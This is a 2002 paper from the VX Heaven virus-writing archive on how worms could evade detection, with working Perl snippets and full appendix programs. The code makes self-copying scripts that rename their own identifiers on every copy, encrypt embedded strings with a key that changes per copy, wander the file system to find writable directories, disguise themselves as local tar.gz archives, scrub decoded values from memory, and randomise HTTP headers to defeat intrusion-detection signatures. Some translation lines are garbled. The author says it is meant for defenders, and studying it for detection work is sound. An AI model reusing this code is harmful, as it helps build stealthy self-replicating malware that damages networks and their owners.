Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Techniques a worm might use to be harder to locate

One Semicolon
February 2002

[Back to index] [Comments]
[email protected]
http://onesemicolon.cjb.net

1 Introduction - why and what

A little while back we had a wave of worms. During the wave there were a lot of people writing about infection rates. Code Red for example quickly ballooned in size and infected a great amount of people in a relatively short period of time. There were ideas on how to infect more computers in shorter amounts of time but no one had ideas on how to hide the activities of the worms.

Shortly after a worm appears to have an impact a lot of quickly programmed cleaners are created for the "worm du jour". Even though they are two minute creations they work surprisingly well.

Worms have changed very little compared to the first worm years and years ago. They have changed very little because there was no need to. Recently a lot more attention was given to worms and because of that there is more awareness. Awareness means that writers of worms will need to do a better job at making their code stay hidden from the sight of administrators. I believe it is a good idea to philosophize about what may be ahead so we can have the antidote ready for anything that may come up. Perhaps if a lot of people are prepared for any worm that comes up, worms will not be as interesting as they were once before.

This paper will discuss different things a worm might do in the future. Snippets of code are included. These snippets are written in Perl. Even if you do not program in Perl, this paper might be interesting just for the ideas that it has.

The snippets of code are explained in such a way that even a person new to Perl will be able to understand it. My apologies if that frustrates some of the more knowledgeable people among us.

2 The shape of the code

2.1 Introduction

The trouble is that when viewing a Perl file one can see the code and usually figure out what the code does. Another problem is that a static script or binary are easy to find. In this chapter I'd like to go over some ways to make the code harder to read and at the same time "irregular". Every instance of the code or infection of a computer should be different.

An example program tying everything in this chapter together is in appendix A.1.

2.2 Making it work

To change the code we need to create a new instance of it to work with.

  1  : open (SELF, "<$0");
  2  : @self = <SELF>;
 

This right away shows our issue: It is crystal clear what is happening. The variable and file handle make sense. So we need something to replace them with. What we should create is a simple random variable generator.

  1  : $randomlength = int(rand(4));
  2  : $randomlength += 5;
  3  : for ($variable = 0; $variable <= $randomlength; $variable++) {
  4  :   $randomchar = int(rand(26));
  5  :   $randomchar += 97;
  6  :   $randomvariable .= chr($randomchar);
  7  : }
  8  : print "$randomvariable\n";
 

This snippet first creates a random number between 5 and 9 for the length of the variable this creates. Then it goes on to create a variable name from all the letters in the alphabet and prints the result out.

Perl does not care how many spaces there are in the script so we can add random extra spacing as well.

  1  : open (SELF, "<$0");
  2  : @self = <SELF>;
  3  : open (NEXT, ">$ARGV[0]");
  4  : foreach $line (@self) {
  5  :   $coin = int(rand(3));
  6  :   if ($dice == 0) { $line =~ s/ / /g; }
  7  :   if ($dice == 1) { $line =~ s/ /  /g; }
  8  :   $line =~ s/                                  /  /g;
  9  :   print NEXT $line;
  10 : }
  11 : close (NEXT);
 

Here is a quick solution to get random spacing on a per line basis. In A.1 you will see code that when run changes all names of variables, subs, file handles, etc. and outputs itself to a random file name in the directory it is run in. The major addition to the code in the appendix is that it shows how to change the names of everything reliably so when the file that is put out is run, it will work as well.

When reading this, the resulting obfuscation may not sound like much, but wait until you actually see the result after running the code once before giving your opinion. You will see that it is highly effective.

The example in the appendix has strings in it that a hard drive could be searched for. These are just there so you can read what is going on.

3 Hiding hard coded information

3.1 Introduction

Sometimes a worm has to have information in it that cannot be changed for example, a worm may want to try to flood www.microsoft.com. Putting www.microsoft.com in your code is going to make obvious that whatever the code does, it does at least something with www.microsoft.com.

Another problem is that the worm could easily be locating by searching the hard drive for a string that is relatively unique to the worm. In this chapter I will write about a simple way to hide information.

3.2 Making it work

A worm that needs to hide information has no need for very good encryption as the way to decrypt the information would be located in the same file. A solution to hiding files would be a form of a Caesarean encryption. An example of that would be ROT13 encryption where each letter is replaced with a letter thirteen characters down in the alphabet. The following table illustrates this.

 letters
alphabetabcdefghijklmnopqrstuvwxyz
ROT13nopqrstuvwxyzabcdefghijklm

ROT13 encryption only rotates letters. It does not take care of digits nor punctuation. If someone would want to hide an email address it would not be hidden properly.

[email protected] would turn into [email protected] We can see this is an email address because the "@" is still visible as are the dots. Another problem with using the same encryption for every instance is that it creates excellent strings to search a hard drive for.

To solve that, a worm would need to have encryption that changes for every instance of itself. A simple way of achieving this is to have a variable containing an amount of "rotations" to be performed on a to be encoded or decoded item. One rotation would be one transposition of characters. In the following example we see how a value can easily be encoded and decoded.

  1  : $code = "me\@onesemicolon.cjb.net";
  2  : $rotate = 341251;
  3  :
  4  : print "to encode - $code\n";
  5  : $encrypted = &encrypt($code);
  6  : print "encrypted - $encrypted\n";
  7  : $decrypted = &decrypted($encrypted);
  8  : print "decrypted - $decrypted\n";
  9  :
  10 : sub encrypt {
  11 :   my ($toencrypt) = @_;
  12 :   for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
  13 :      $toencrypt =~ [email protected]/0-9.@A-Za-z/;
  14 :   }
  15 :   return $toencrypt;
  16 : }
  17 :
  18 : sub decrypt {
  19 :   my ($todecrypt) = @_;
  20 :   for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
  21 :      $todecrypt =~ tr/0-9.@[email protected]/;
  22 : }
 

When run we can see the line that will be worked with. Then we see the string after letting it go through our mangler 341251 times. Then we have it decrypted again. Right now the decryption and encryption code are in their own subroutines. That way they can be called as needed.

If the amount of iterations per instance of the code is to be different a piece of code would be needed to replace the amount of rotations. Because this is a number and not a string we cannot place it in @switchthese (see A.1). At the moment there is only one number that needs replacing. In the following example we see a simple subroutine that replaces a number.

  1  : $rotate = 34125;
  2  : $rotreplace = int(rand(500000));
  3  : open (SELF, "<$0");
  4  : @self = <SELF>;
  5  : close (SELF);
  6  : foreach $line (@self) {
  7  :   if ($line =~ /$rotate/) {
  8  :      $line = '$rotate = ' . "$rotreplace;\n";
  9  :   }
  10 :   print $line;
  11 : }
 

To get the most out of this idea, anything hard coded would be mangled up.

In appendix A.2 you will see an example that does everything that A.1 does but also decodes and encrypts an array every instance of the code run. It has a number of rotations that changes as well every time the code is run. You will want to give line 37 special attention because there is a slight issue you have to think of. When a Perl program works with a string with a @ in it, sometimes it will think it is accessing an array. To prevent that, a backslash is needed. Line 37 has a solution for that issue and is fit right into the portion of the code where the lines for the next instance of the code is being prepared.

4 Roaming

4.1 Introduction

It is now clear that code can easily be manipulated so it is harder to read and different for every instance of it. In this chapter I'd like to offer a few examples showing how a worm could potentially hide itself in a file system. First by "relocating" the code into an entirely different directory and secondly by adapting the filename to the other files in the directory the code moves to.

4.2 Relocating

When one wants to hide the code in the file system, that person may want to make it as random as possible. The code snippet below goes down a random amount of directories and then works it's way up a random amount of directories again. A lot of potential targets of a worm are computers that would work with permissions and as thus the attack vector may not give complete control over the system. In those instances it is important to put the relocation portion of the code within a do loop that makes sure that the new target is actually writable (see line 3 and 17).

  1  : $traverse = "../" x int(rand(15));
  2  :
  3  : do {
  4  :         for ($tracount = 0; $tracount <= int(rand(15)); $tracount++) {
  5  :                 @listing = <$traverse*>;
  6  :        
  7  :                 $dircount = 0; foreach $entry (@listing) {
  8  :                    if (-d ("$traverse" . "$entry")) {
  9  :                      $directory[$dircount] = "$traverse" . "$entry/";
  10 :                      $dircount++;
  11 :                    }
  12 :                 } $dircount--;
  13 :        
  14 :                 $choose = int(rand(@directory));
  15 :                 $traverse = $directory[$choose] if defined $directory[$choose];
  16 :         }
  17 : } until (-w $traverse);
  18 :
  19 : open (SELF, "<$0");
  20 : @self = <SELF>;
  21 : close (SELF);
  22 : open (NEW, ">$traverse$0");
  23 : print NEW @self;
  24 : close (NEW);
  25 : print "Moved to $traverse$0\n";
 

4.3 Adapting

Once a worm relocates itself to the /home/someuser for example, it will be rather obvious if the file is named dev[1-500] as was done in A.1 and A.2. If a worm were to move itself around in the file system, it would most likely adapt itself to the other files in the directory.

A bad solution would involve some kind of default name to revert to: In that case the worm is easy to find in virtually any operating system. When adapting a file name it is good to consider what parts of the file system the file would most likely relocate to. What if the worm is limited to files in a ftp folder with tar.gz'd files? Or .c's? Or directories with a lot of different versions of one file?

The following snippet of code opens the directory it is run in and takes a random file. It cuts off any extensions like .pl, .txt, etc. if present and then puts a random number and .tar.gz behind the file name.

  1  : @dirlisting = <*>;
  2  :
  3  : $entrylength = @dirlisting;
  4  : $luckyfile = int(rand($entrylength));
  5  : $file = $dirlisting[$luckyfile];
  6  : $rand = int(rand(2));
  7  :
  8  : until ($file !~ /\./) { ($file, $junk) = split (/\./, $file); }
  9  : $file = "$file$rand.tar.gz";
  10 : print $file;
 

We can see that a number is added to the file name in this example. The reason a number should be added, or some other kind of change is to be made, is illustrated by the following example.

Say

  $luckyfile = "someprogram.tar.gz";
 

and there were no lines in the code taking care of $rand. Then someprogram.tar.gz would revert to someprogram because of the until loop and then get .tar.gz again, meaning someprogram.tar.gz would either be overwritten or the worm would be unable to replicate.

In A.3 you will see an example that incorporates everything in this chapter with the other chapters. The add spacing code has been removed from this example to keep the code from being too repetitive.

5 Memory management

5.1 Introduction

In this chapter I would like to quickly cover cleaning out the memory from values that can be recognized by someone as being related to a specific worm. Many programs work with data that is only needed temporarily and can then be freed up/undefined to release memory for usage. The same goes counts for worms. In the future we may encounter worms that make sure no values that can indicate they are around stay in memory.

5.2 How it works

In chapter 3 a easy way to hide hard coded values was shown. At one point the decoded value was assigned to memory. Hiding hard coded values will be useless to a worm writer if the values can be taken from memory. That is why we might see constructs like the following in the future.

  1  : $code = "Coded.by.One.Semicolon";
  2  : print "normal  - $code\n";
  3  : $code = &clean("code");
  4  : print "cleaned - $code\n";
  5  : undef ($code);
  6  :
  7  : sub clean {
  8  :         my ($toclean) = @_;
  9  :         $clnlength = length(${$toclean});
  10 :         for ($clncount = 0; $clncount < $clnlength; $clncount++) {
  11 :            $replacement .= chr(int(rand(256)));
  12 :         }
  13 :         ${$toclean} = $replacement;
  14 : }
 

$code has the decoded value and just the name of the variable is passed to the subroutine. The subroutine receives the name of the variable to work with and finds out how long it is. Then a replacement string is generated and then assigned.

This leaves the following waste: $toclean (name of the variable), $clnlength (length of the variable) and the replacement string appears in two locations ($code, $replacement).

In A.4 you will find a slightly larger example of this, although replacing one value with another is very straightforward.

6 Acting Normal

6.1 Introduction

When Code Red was infecting the internet, anyone with a HTTP server was getting logs full of computers that were clearly infected. Up to a point a HTTP request to a random IP address can be hidden: you will always have to try and make a connection the port involved. Verifying if a computer is vulnerable will certainly be made far more discrete when a open port has been found.

Worm writers have to make their code work on as many computers as possible, to be as effective as possible. Because of that, programming code would be written with basic API's, modules or whatever may be required.

There is no sense to write code to include a function that is only available on a small percentage of vulnerable computers. The only reason a worm writer may choose to do so after all is because it is needed as part of the exploit itself.

The last two paragraphs may seem to be very different subjects, but in this chapter they are combined. Using a general Perl module I would like to show a way to make a HTTP GET request look both valid and different every time such a request is made.

6.2 HTTP

In this section I will offer two simple examples how a worm could disguise itself. If a worm searches for computers with a vulnerable HTTP server, one way to make the requests look like something they are not is to make it look like a normal request.

Obviously one would say, but it is a bit more complex than it appears. First you have to consider the things a normal browser sends. I set up a simple Perl server on port 8008 to record the request a browser makes. Below is the result I got from Internet Explorer 5.5 when requesting http://localhost:8008. See appendix B.1 for other browsers.

  GET / HTTP/1.1
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
  Accept-Language: en-ca
  Accept-Encoding: gzip, deflate
  User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)
  Host: localhost:8008
  Connection: Keep-Alive

There is quite a bit of information that a browser sends out before receiving anything. You can see that the Accept-Language it set to Canada. An interesting thing to notice is that my test setup was running Windows ME and not Windows 98 as claimed in the User-Agent field.

In the following example IO::Socket is used to make a simple connection and get the main page of a web site. Usage: Perl example.pl www.server.com 80.

  1  : use IO::Socket;
  2  :
  3  : $remote = IO::Socket::INET->new (
  4  :         PeerAddr => "$ARGV[0]",
  5  :         PeerPort => "$ARGV[1]",
  6  :         Proto    => "tcp",
  7  :         ) || die "trying";
  8  :
  9  : print $remote "GET / HTTP/1.0\n\n";
  10 : while ( <$remote> ) { print }
 

"GET / HTTP/1.0" does not look like a very normal browser request. In the following example a request for a website in the style that Netscape 4.73 would make one is duplicated. You will find that the connection stays open because of the "Connection: Keep-Alive" line that Netscape 4.73 sends in a GET request.

  1  : use IO::Socket;
  2  :
  3  : $remote = IO::Socket::INET->new (
  4  :         PeerAddr => "$ARGV[0]",
  5  :         PeerPort => "$ARGV[1]",
  6  :         Proto    => "tcp",
  7  :         ) || die "trying";
  8  :
  9  : print $remote "GET / HTTP/1.0
  10 : Connection: Keep-Alive
  11 : User-Agent: Mozilla/4.73 (Win95; U)
  12 : Host: $ARGV[0]:$ARGV[1]
  13 : Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
  14 : Accept-Encoding: gzip
  15 : Accept-Language: en
  16 : Accept-Charset: iso-8859-1,*,utf-8\n\n"
;
  17 :
  18 : while ( <$remote> ) { print }
 

Although the code above does generate a normal looking request you do not have to expect it in any worm code any time soon. If the request is the same for every connection it will just become a different fingerprint left behind and will not add anything useful to the worm. Below is code that shows different ways one request can be altered to look slightly different every time to make it harder to find something that is specific to the worm only.

  1  : use IO::Socket;
  2  :
  3  : @choices_agent_ver = ( "4.7",  "4.72", "4.73", "4.74",
  4  :                        "4.75", "4.76", "4.78" );
  5  : $choices_agent_len = @choices_agent_ver;
  6  : $choice_agent_nr = int(rand($choices_agent_len));
  7  : $choice_agent = $choices_agent_ver[$choice_agent_nr];
  8  :
  9  : @accept = ( "image/gif",  "image/x-xbitmap",
  10 :             "image/jpeg", "image/pjpeg",
  11 :             "image/png" );
  12 : $acceptlen = @accept;
  13 :
  14 : for ($cnt = 0; $cnt <= int(rand($acceptlen)); $cnt++) {
  15 :         $grab = int(rand($nacceptlen));
  16 :         $acceptstring .= "$accept[$grab], ";
  17 :         splice (@accept, $grab, 1);
  18 :         $nacceptlen = @accept;
  19 : }
  20 :
  21 : $switchencoding = int(rand(2));
  22 :
  23 : $request = "GET / HTTP/1.0
  24 : Connection: Keep-Alive
  25 : User-Agent: Mozilla/$choice_agent (Win95; U)
  26 : Host: $ARGV[0]:$ARGV[1]
  27 : Accept: $acceptstring*/*
  28 : "
;
  29 : $request .= "Accept-Encoding: gzip\n" if $switchencoding == 0;
  30 : $request .= "Accept-Language: en
  31 : Accept-Charset: iso-8859-1,*,utf-8\n\n"
;
  32 :
  33 : print $request;
  34 :
  35 : $remote = IO::Socket::INET->new (
  36 :         PeerAddr => "$ARGV[0]",
  37 :         PeerPort => "$ARGV[1]",
  38 :         Proto    => "tcp",
  39 :         ) || die "trying";
  40 : print $remote "$request";
  41 :
  42 : while ( <$remote> ) { print }
 

The code above show cases three methods a request may be changed, yet still be valid and indistinguishable from GET requests other visitors to a site may make.

  1. In line 3 to 7 a random User-Agent version is chosen and put into the GET request.
  2. In line 9 to 12 a random amount of random Accept entries are chosen and put into the GET request.
  3. In line 21 a random 0 or 1 is created to decide if the Accept-Encoding entry should be added or not to the GET request.

Line 23 to 31 puts all of this together into one request to send to the server. The more changes are made, the harder it becomes to come up with a way to recognize something that is unique to the worm. If a worm uses several different browser "footprints" that are all very different, yet are still legitimate, it will be impossible to create a IDS signature for it as it will cause false positives to occur. Consider a normal person using their web browser and their surfing looks like a worm request? The log coming from the IDS system will be useless. By shutting out the worm you shut out normal users and by allowing normal users you are allowing the worm.

7 Closing

This raises an interesting issue: how can you find out if a particular server has been infected or not if after this paper is finished and everything has been implemented?

Right now I don't know of any ways to be completely different every time, but possible only to locate by its brother and sister infections. The one excludes the other, which creates a sliver of hope for anyone hoping to at least retain the capability to locate a worm.

The frustrating part is that one can write a worm to be like a suicide bomber. A worm could be made to repetitively infect vulnerable computers creating the effect of having the computers the worms live on collapse under the pressure of the processes and bandwidth involved.

I would like to add a few things before I let the appendix end this paper. For one, the code in this paper is anything but cut and paste. Anyone with half a brain can figure out that you could search a hard drive for a file with X amount of "int(rand("'s.

Secondly, The code is offered as an example from which one can jump to create antidotes. The paper is great as a beginning to think up more intricate and better implementations to find a solution for.

Thirdly, consider taking all I wrote and finding ways around it: think of how there are empty lines between sub routines, how the program is ordered in the way of a normal program. Can the order of the sub routines and the amount of lines they each have give us something to recognize the worm by? This paper gives us something to work with.

Appendix

A.1 Example program for chapter 2

  1  : open (SELF, "<$0");
  2  : @self = <SELF>;
  3  : close (SELF);
  4  :
  5  : @switchthese = ("OUT2FILE",     "SELF",
  6  :                 "addspacing",   "createsubstitutes",
  7  :                 "coin",         "counter",      "entry",
  8  :                 "length",       "line",         "randomchar",
  9  :                 "randomlen",    "randomvar",    "self",
  10 :                 "swcounter",    "switchthese",  "variable");
  11 :
  12 : &createsubstitutes;
  13 :
  14 : $dev = "dev" . int(rand(500));
  15 : print "Spawned a clone to $dev\n";
  16 :
  17 : open (OUT2FILE, ">$dev");
  18 : foreach $line (@self) {
  19 :    for ($swcounter = 0; $swcounter <= $length; $swcounter++) {
  20 :       $line =~ s/$switchthese[$swcounter]/$randomvar[$swcounter]/g;
  21 :       &addspacing;
  22 :    }
  23 :    print OUT2FILE $line;
  24 : }
  25 : close (OUT2FILE);
  26 :
  27 : sub createsubstitutes {
  28 :         $length = @switchthese; $length--;
  29 :         for ($counter = 0; $counter <= $length; $counter++) {
  30 :            $randomlen = int(rand(4));
  31 :            $randomlen += 5;
  32 :            for ($variable = 0; $variable <= $randomlen; $variable++) {
  33 :               $randomchar = int(rand(26));
  34 :               $randomchar += 97;
  35 :               $randomvar[$counter] .= chr($randomchar);
  36 :            }
  37 :         }
  38 : }
  39 :
  40 : sub addspacing {
  41 :         $coin = int(rand(3));
  42 :         if ($coin == 0) { $line =~ s/ / /g; }
  43 :         if ($coin == 1) { $line =~ s/ /  /g; }
  44 :         $line =~ s/                          /  /g;
  45 : }
 

A.2 Example program for chapter 3

  1  : open (SELF, "<$0");
  2  : @self = <SELF>;
  3  : close (SELF);
  4  :
  5  : $code[0] = "IAWKJAqAI2aKHKJ8ahk8JAd";
  6  : $code[1] = "ZK\@A\@8kG8lJA8bAI2aKHKJ";
  7  : $lenofen = @code;
  8  :
  9  : $rotate = 34125;
  10 :
  11 : $rotreplace = int(rand(500000));
  12 :
  13 : @switchthese = ("OUT2FILE",     "SELF",
  14 :                 "addspacing",   "createsubstitutes",
  15 :                 "encrypt",      "decrypt",
  16 :                 "code",         "coin",         "counter",
  17 :                 "enccounter",   "entry",        "length",
  18 :                 "lenofen",      "line",         "randomchar",
  19 :                 "randomlen",    "randomvar",    "rotate",
  20 :                 "rotreplace",   "self",         "swcounter",
  21 :                 "switchthese",  "variable");
  22 :
  23 : &createsubstitutes;
  24 :
  25 : $dev = "dev" . int(rand(500));
  26 : print "Spawned a clone to $dev\n";
  27 :
  28 : open (OUT2FILE, ">$dev");
  29 : foreach $line (@self) {
  30 :    if ($line =~ /$rotate/) { $line = '$rotate = ' . "$rotreplace;\n"; }
  31 :    for ($enccounter = 0; $enccounter <= $lenofen; $enccounter++) {
  32 :       if ($line =~ /^\$code\[$enccounter\]/) {
  33 :         $oldc = &decrypt ($code[$enccounter]);
  34 :         print "$oldc\n";
  35 :         $newc = &encrypt ($oldc);
  36 :         $line = '$code[' . "$enccounter] = \"$newc\";\n";
  37 :         $line =~ s/\@/\\\@/g;
  38 :         print "$line";
  39 :       }
  40 :    }
  41 :    for ($swcounter = 0; $swcounter <= $length; $swcounter++) {
  42 :       $line =~ s/$switchthese[$swcounter]/$randomvar[$swcounter]/g;
  43 :       &addspacing;
  44 :    }
  45 :    print OUT2FILE $line;
  46 : }
  47 : close (OUT2FILE);
  48 :
  49 : sub createsubstitutes {
  50 :         $length = @switchthese; $length--;
  51 :         for ($counter = 0; $counter <= $length; $counter++) {
  52 :            $randomlen = int(rand(4));
  53 :            $randomlen += 5;
  54 :            for ($variable = 0; $variable <= $randomlen; $variable++) {
  55 :               $randomchar = int(rand(26));
  56 :               $randomchar += 97;
  57 :               $randomvar[$counter] .= chr($randomchar);
  58 :            }
  59 :         }
  60 : }
  61 :
  62 : sub addspacing {
  63 :         $coin = int(rand(3));
  64 :         if ($coin == 0) { $line =~ s/ / /g; }
  65 :         if ($coin == 1) { $line =~ s/ /  /g; }
  66 :         $line =~ s/                          /  /g;
  67 :
  68 : sub encrypt {
  69 :         my ($toencrypt) = @_;
  70 :         for ($rotcount = 0; $rotcount <= $rotreplace; $rotcount++) {
  71 :            $toencrypt =~ [email protected]/0-9.@A-Za-z/;
  72 :         }
  73 :         return $toencrypt;
  74 : }
  75 :
  76 : sub decrypt {
  77 :         my ($todecrypt) = @_;
  78 :         for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
  79 :            $todecrypt =~ tr/0-9.@[email protected]/;
  80 :         }
  81 :         return $todecrypt;
  82 : }
 

A.3 Example program chapter 4

  1  : open (SELF, "<$0");
  2  : @self = <SELF>;
  3  : close (SELF);
  4  :
  5  : $code[0] = "IAWKJAqAI2aKHKJ8ahk8JAd";
  6  : $code[1] = "ZK\@A\@8kG8lJA8bAI2aKHKJ";
  7  : $lenofen = @code;
  8  :
  9  : $rotate = 34125;
  10 :
  11 : $rotreplace = int(rand(500000));
  12 :
  13 : @switchthese = ("OUT2FILE",     "SELF",
  14 :                 "createsubstitutes",            "encrypt",
  15 :                 "decrypt",      "newname",
  16 :                 "choose",       "code",         "coin",        
  17 :                 "counter",      "dircount",     "directory",
  18 :                 "dirlist",      "elen",         "enccounter",  
  19 :                 "entry",        "filename",     "length",
  20 :                 "lenofen",      "line",         "listing",
  21 :                 "luckyfile",    "newc",         "oldc",
  22 :                 "randomadd",    "randomchar",   "randomlen",    
  23 :                 "randomvar",    "rotate",       "rotcount",
  24 :                 "rotreplace",   "self",         "swcounter",
  25 :                 "switchthese",  "todcrypt",     "toecrypt",
  26 :                 "traverse",     "variable");
  27 :
  28 : &createsubstitutes;
  29 : &newname;
  30 :
  31 : open (OUT2FILE, ">$filename");
  32 : foreach $line (@self) {
  33 :  if ($line =~ /$rotate/) { $line = '$rotate = ' . "$rotreplace;\n"; }
  34 :  for ($enccounter = 0; $enccounter <= $lenofen; $enccounter++) {
  35 :       if ($line =~ /^\$code\[$enccounter\]/) {
  36 :         $oldc = &decrypt ($code[$enccounter]);
  37 :         print "$oldc\n";
  38 :         $newc = &encrypt ($oldc);
  39 :         $line = '$code[' . "$enccounter] = \"$newc\";\n";
  40 :         $line =~ s/\@/\\\@/g;
  41 :         print "$line";
  42 :       }
  43 :    }
  44 :    for ($swcounter = 0; $swcounter <= $length; $swcounter++) {
  45 :       $line =~ s/$switchthese[$swcounter]/$randomvar[$swcounter]/g;
  46 :    }
  47 :    print OUT2FILE $line;
  48 : }
  49 : close (OUT2FILE);
  50 : exit;
  51 :
  52 : sub createsubstitutes {
  53 :     $length = @switchthese; $length--;
  54 :     for ($counter = 0; $counter <= $length; $counter++) {
  55 :        $randomlen = int(rand(4));
  56 :        $randomlen += 5;
  57 :        for ($variable = 0; $variable <= $randomlen; $variable++) {
  58 :           $randomchar = int(rand(26));
  59 :           $randomchar += 97;
  60 :           $randomvar[$counter] .= chr($randomchar);
  61 :        }
  62 :     }
  63 : }
  64 :
  65 : sub decrypt {
  66 :     my ($todcrypt) = @_;
  67 :     for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
  68 :        $todcrypt =~ tr/0-9.@[email protected]/;
  69 :     }
  70 :     return $todcrypt;
  71 : }
  72 :
  73 : sub encrypt {
  74 :     my ($toecrypt) = @_;
  75 :     for ($rotcount = 0; $rotcount <= $rotreplace; $rotcount++) {
  76 :        $toecrypt =~ [email protected]/0-9.@A-Za-z/;
  77 :     }
  78 :     return $toecrypt;
  79 : }
  80 :
  81 : sub newname {
  82 :     $traverse = "../" x int(rand(15));
  83 :        
  84 :     do {
  85 :        for ($tracount = 0; $tracount <= int(rand(15)); $tracount++) {
  86 :           opendir (DIR, "$traverse");
  87 :           readdir (DIR); readdir (DIR);
  88 :           undef (@listing); undef (@directory);
  89 :           @listing = readdir (DIR);
  90 :           closedir (DIR);
  91 :                
  92 :           $dircount = 0; foreach $entry (@listing) {
  93 :               if (-d ("$traverse" . "$entry")) {
  94 :                  $directory[$dircount] = "$traverse" . "$entry/";
  95 :                  $dircount++;
  96 :               }
  97 :           } $dircount--;
  98 :                
  99 :           $choose = int(rand(@directory));
  100:        $traverse = $directory[$choose] if defined $directory[$choose];
  101:        }
  102:     } until (-w $traverse);
  103:
  104:     opendir (DIR, "$traverse");
  105:     readdir (DIR); readdir (DIR);
  106:     @dirlist = readdir (DIR);
  107:     closedir (DIR);
  108:        
  109:     $elen = @dirlist;
  110:     $luckyfile = int(rand($elen));
  111:     $filename = $dirlist[$luckyfile];
  112:     $randomadd = int(rand(2));
  113:        
  114:     until ($filename !~ /\./) {
  115:        ($filename, $junk) = split (/\./, $filename);
  116:     }
  117:     $filename = $traverse . $filename . $randomadd . ".tar.gz";
  118:     print "Spawning $filename\n";
  119: }
 

A.4 Example program for chapter 6

  1  : $code = "Coded.by.One.Semicolon";
  2  : $rotate = 34125;
  3  :
  4  : print "to encode - $code\n";
  5  : $encrypted = &encrypt($code);
  6  : print "encrypted - $encrypted\n";
  7  : $decrypted = &decrypt($encrypted);
  8  : print "decrypted - $decrypted\n";
  9  : $decrypted = &clean("decrypted");
  10 : print "cleaned   - $decrypted\n";
  11 :
  12 : sub encrypt {
  13 :         my ($toencrypt) = @_;
  14 :         for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
  15 :            $toencrypt =~ [email protected]/0-9.@A-Za-z/;
  16 :         }
  17 :         return $toencrypt;
  18 : }
  19 :
  20 : sub decrypt {
  21 :         my ($todecrypt) = @_;
  22 :         for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
  23 :            $todecrypt =~ tr/0-9.@[email protected]/;
  24 :         }
  25 :         return $todecrypt;
  26 : }
  27 :
  28 : sub clean {
  29 :         my ($toclean) = @_;
  30 :         $clnlength = length(${$toclean});
  31 :         for ($clncount = 0; $clncount < $clnlength; $clncount++) {
  32 :            $replacement .= chr(int(rand(256)));
  33 :         }
  34 :         ${$toclean} = $replacement;
  35 : }
 

B Browser footprints

B.1 Note

Some browsers have large Accept, Accept-Charset fields. They have been moved to the next line and are noted by an indent.

B.2 Netscape 4.73

 GET / HTTP/1.0
 Connection: Keep-Alive
 User-Agent: Mozilla/4.73 (Win95; U)
 Host: localhost:8008
 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
 Accept-Encoding: gzip
 Accept-Language: en
 Accept-Charset: iso-8859-1,*,utf-8

B.3 Netscape 6.1

 GET / HTTP/1.1
 Host: localhost:8008
 User-Agent: Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:0.9.2) 
	Gecko/20010726 Netscape6/6.1
 Accept: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9,
        image/png, image/jpeg, image/gif;q=0.2, text/plain;q=0.8, text/css,
        */*;q=0.1
 Accept-Language: en-us
 Accept-Encoding: gzip,deflate,compress,identity
 Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
 Keep-Alive: 300
 Connection: keep-alive

B.4 Opera 6

 GET / HTTP/1.1
 User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 6.0  [en]
 Host: localhost:8008
 Accept: text/html, image/png, image/jpeg, image/gif, image/x-xbitmap, */*
 Accept-Language: en
 Accept-Charset: iso-8859-1,utf-8,iso-2022-jp,shift_jis,big5,utf-16,euc-jp,
        euc-kr,x-gbk,hz-gb-2312,euc-tw,koi8-r,koi8-u,viscii,windows-sami-2,
        ibm866,iso-8859-2,iso-8859-3,iso-8859-4,iso-8859-5,iso-8859-6,
        iso-8859-7,iso-8859-8,iso-8859-9,iso-8859-10,iso-8859-11,iso-8859-13,
        iso-8859-14,iso-8859-15,windows-1258,windows-1251,windows-1250,
        windows-1253,windows-1252,windows-1255,windows-1254,windows-1257,
        windows-1256,windows-sami-2
 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
 Connection: Keep-Alive

B.5 Internet Explorer 5.50.4134.0100

 GET / HTTP/1.1
 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
 Accept-Language: en-ca
 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)
 Host: localhost:8008
 Connection: Keep-Alive
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua